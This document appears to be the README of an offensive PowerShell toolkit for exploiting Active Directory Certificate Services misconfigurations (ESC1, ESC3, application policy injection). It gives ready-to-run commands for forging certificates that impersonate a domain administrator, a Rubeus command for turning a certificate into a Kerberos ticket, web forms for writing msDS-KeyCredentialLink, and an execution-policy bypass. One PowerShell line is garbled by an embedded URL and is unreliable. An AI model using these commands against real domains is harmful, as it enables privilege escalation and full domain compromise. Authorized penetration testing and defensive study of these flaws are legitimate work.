
AD CS exploitation related stuff goes here
Certi-Bhai is a comprehensive collection of PowerShell exploitation tools for attacking Active Directory Certificate Services (AD CS) vulnerabilities. This toolkit implements various Escalation Scenarios (ESCs) that demonstrate critical security misconfigurations in ADCS environments.
Active Directory Certificate Services (AD CS) is often misconfigured, creating multiple attack vectors. Certi-Bhai provides practical exploitation scripts and utilities for security testing and research of common ADCS vulnerabilities.
Use responsibly and only in authorized test environments.
# Active Directory module (optional, for enhanced functionality)
Import-Module ActiveDirectory
Vulnerability: Certificate templates allow enrollment with arbitrary SubjectAltName (SAN) values.
What it does: Creates a certificate signed by an overly permissive template, allowing you to impersonate any user or computer in the domain.
Usage:
# Navigate to ESC1 directory
cd ESC1
# Run the exploitation script
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
Parameters:
-subjectName: Full distinguished name (DN) of the target user-templateName: Name of the vulnerable certificate template-altName: Alternative name to request (username/computer)-pfxPass: Password for PFX exportOutput: Base64-encoded PFX certificate for use with tools like Rubeus
Video Tutorial: https://www.youtube.com/watch?v=l0gMw_mO4dw
Vulnerability: Certificate Request Agents can request certificates on behalf of any user.
What it does: Enrolls a certificate as a Certificate Request Agent, then requests certificates for arbitrary principals.
Usage:
# Navigate to ESC3 directory
cd ESC3
# Run the exploitation script
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
Parameters:
-templateName: Vulnerable request agent template-target_user: Principal to request certificate for-domain: Domain name-pfxPass: PFX passwordOutput: Administrator certificate (PFX) with base64 encoding
Video Tutorial: https://www.youtube.com/watch?v=fGjrM-JKnoM
Vulnerability: Application Policy Injection.
cd CSR_Generate
# Generate a certificate signing request
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# Submit CSR to CA
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
The cert.aspx web interface provides a user-friendly form to request a certificate from AD CS RPC endpoint:
http://your-iis-server/cert.aspx
Modify LDAP attributes through the web interface. This script basically used to perform inject blob in msDS-KeyCredentialLink attribute:
http://your-iis-server/ldap_update.aspx
Features:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# Convert PFX to usable format for Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/HEAD/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
Q: Script execution is blocked
# Run PowerShell as Administrator
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Q: Certificate template not found
Q: LDAP connection fails
Found an issue or have improvements? Please report responsibly.